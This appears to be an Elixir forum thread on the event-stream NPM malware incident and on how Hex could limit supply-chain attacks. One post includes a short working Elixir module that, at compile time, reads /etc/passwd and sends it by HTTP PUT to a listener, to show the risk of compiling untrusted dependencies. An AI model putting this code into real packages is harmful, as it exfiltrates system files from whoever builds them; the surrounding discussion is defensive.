NPM Crypto Malware dependency - can this be avoided in Elixir?

Sorry if this is the wrong category. I’m relative new to the community, but excited to be getting involved.

I was curious on everyone’s thoughts in regards to the recent NPM dependency injected with malware that was recently found (https://github.com/dominictarr/event-stream/issues/116).

What could have been done to prevent this?

Is there ways to prevent this type of thing, or community, within Elixir and Hex/Mix?

The maintainer said:

he emailed me and said he wanted to maintain the module, so I gave it to him. I don’t get any thing from maintaining this module, and I don’t even use it anymore, and havn’t for years.

Just wanted to see what everyone thought. Would hate for this same thing to occur within the Elixir community.

1 Like

I think it’s impossible to avoid this situation completely in an open ecosystem without curated packages.

What we can work on is to avoid the chances of it happening and when it happens reduce the scope of it and how quickly we can mitigate it.

First of all I think there’s less of a chance this happens in the Elixir ecosystem compared to the NPM ecosystem. I have very rarely seen Elixir projects with more than a hundred dependencies, but it’s not uncommon for Javascript projects to have thousands of dependencies. Because of this there is less of a chance of an unwanted dependency sneaking in.

But having few dependencies is not a strategy. It’s important for the package manager to have a policy on how to handle vulnerabilities in packages. Currently Hex does not have a clear policy but we have been discussing it and we created a proposal a while back on a process on how to disclose and handle package vulnerabilities [1].

One way to reduce the chance of being affected by this is to review the dependencies you are using. This can be tough and reviewing the full source code of every dependency you are using may be unfeasible. @wojtekmach proposed a new task for diffing the changes between two package versions [2] which can be useful when updating dependencies. We also opened an issue to display the publisher of a given package version [3]. We also want to make the audit log for packages public so that you can get full insight of all the changes to a package, including added or removed package owners [4].

EDIT: Please read through the proposals and issues and give your feedback. They are great starter issues if you want to start contributing to Hex.

[1] Create Hex.pm Vulnerability Disclosure Feature
[2] https://github.com/hexpm/hex/issues/632
[3] https://github.com/hexpm/hexpm/issues/753
[4] https://github.com/hexpm/hexpm/issues/754

12 Likes

In the case of this NPM package IMO the real problem was the failure of the author to communicate.

Instead of being open and plainly saying “this package is now abandoned, fork if you need updates” he did not do even minimal homework and handed the package to somebody else. People in HN clearly showed that the alias that received ownership did not have any credible commit history. This check would have taken one minute and should have made anybody alert that there might be something fishy. And the author said he is working in security…

I personally don’t believe technical solution is possible to prevent such a situation. I commend any efforts in this direction but barring having a true AI, I don’t think cases like these are technically avoidable.

This could have been avoided if the maintainer was honest however. Also, how did it not occur to them that when the GitHub repo still has your name, people will go on and blame them? He handed over ownership without saying a word to anyone and then gets surprised that people are angry that something with his name under it misbehaves. ¯_(ツ)_/¯

What I would do:

  1. Update your README to clearly say “This project is now abandoned, feel free to look for alternatives if the functionality is not enough for you”.
  2. Mark the repo read-only (in case of GitHub, “archive” it).
  3. Possibly vet a future fork on your README (temporarily un-freezing the repo in the process) to show one or more competing implementations that you would recommend.
1 Like

That sounds like a great idea.

It’s possible that a package starts ‘good’, liked by the community and becomes popular, and then ‘changes’ at a point where people are no longer reviewing the code as they would had it been a new package.

Great too! :023:

I think we’ve have other discussions on this too but can’t find the threads now…

1 Like

One thing occurred to me: in the npm ecosystem, you need to run code from a dependency to be affected, which can happen with build-tools, but not program code, in Elixir, you may just need to compile code with macros in it to be exploited.

Do we need a sand-box for compilation? Or perhaps a trip-wire for e.g. code that attempts to access the filesystem outside of the project, or connect to a remote service?

Here’s how easy an exploit is; run nc -l 8080, then compile this:

defmodule Exploit do

  File.open!("/etc/passwd", [:read], fn file ->
    :inets.start()
    f = IO.read(file, :all)
    url = String.to_charlist("http://localhost:8080")
    :httpc.request(:put, {url, [], [], f}, [], [])
  end)

  def hello do
    :world
  end
end

3 Likes

Yeah, I was saying that for a long time.

There is an idea of the tool that will provide WoT code review for trust or untruste of the source code of dependencies. This is nice idea, but as always, there is problem whom do you trust.

I don’t believe that’s the case. NPM has hooks that run when you install a dependency, which was actually used to create a worm [1] that spread to package publisher’s machines. In Elixir no user code is executed when you fetch a Hex package (not the case for git dependencies), only when the dependency is compiled is user code executed.

After the worm vulnerability was published Hex created extra mitigations for worm-like attacks by encrypting your local API key by default which prevents a worm from spreading without a user inputing their password.

[1] NPM Worm Vulnerability Disclosed

4 Likes

I think that with free software, you get what you pay for. It’s your responsibility to review the dependencies you use. Fortunately, reviewing Elixir code is very easy, because the language is not as weird as Javascript.

However, it might be an interesting exercise to jude malicious code in an elixir project… I’d like to propose a contest in this vein: http://www.underhanded-c.org

The Underhanded C conest is a context in which the goal is to creaft a piece of malicious C code that passes visual inspection.

Most of the tricks they use don’t work in Elixir, but I’m sure there might be some interesting things one can discover in a context like this.

4 Likes

I would be floored if one person in a thousand reads all the code for the dependencies they use in Elixir, or really any language. I don’t think exhorting people to do this is constructive.

Tools can’t really solve the issue of who we place our trust in, but they could surface this information in a more actionable way. One way I could imagine this working is, if I’ve enabled the feature, I’m given a list of people who authored all the packages I’m about to install with each invocation of mix deps.get; once I’ve indicated I trust a particular author I’m not prompted for them again for this project, so I’d only see changes when I update the package and it has a new publisher.

The other thing tools could do is link the distribution packages with a particular commit hash in the source repository in a non-repudiate-able way. This is probably a much more difficult problem, but its currently the case that a hex package I publish may have totally different contents than the git tag with the matching version number. As far as I know this is also the case with other similar tools (e.g. rust’s cargo, Haskell’s cabal and stack definitely work this way as well).

3 Likes

Yep, pinning dependencies to a particular GIT commit hash – or tag – seems like a reasonable way of doing things.

Maybe even only approve dependencies whose public keys we can vet – via something like a GPG web of trust of known keys?

In any case though, the problem nowadays seems to be mostly social – and of the authors’ maturity – and not so much a technical one.

4 Likes

This is my concern about web framework with built-in coupled js framework / build tool. The more dependencies it has, the more concerning developers will have to be, especially the frontend stuffs, i’m talking about node_modules. We will never know, what’s in there. :pensive:

NPM and node_modules even NodeJS itself are big red flags of Murphy’s Law. One think for sure, a big fiasco or malicious thing might’ve already happened, without us knowing.

1 Like

Keep in mind that if you make contributing to OSS onerous people will bail out. No one wakes up in the morning saying: “Oh boy! Today I’m going to do a bunch of work for free and give it all away. It will be awesome!” Most OSS contributors are thinking: “Hmmm, I’ve built something useful. Let’s see if anyone else can use it.” Or possibly, “Hmmm, I don’t really like the solutions to my problem. I’ll build something new. Since other developers probably have the problem, I’ll share it and help other people out.” In either case, when the project becomes more of a PITA than the positive feedback from users, the developer walks away.

4 Likes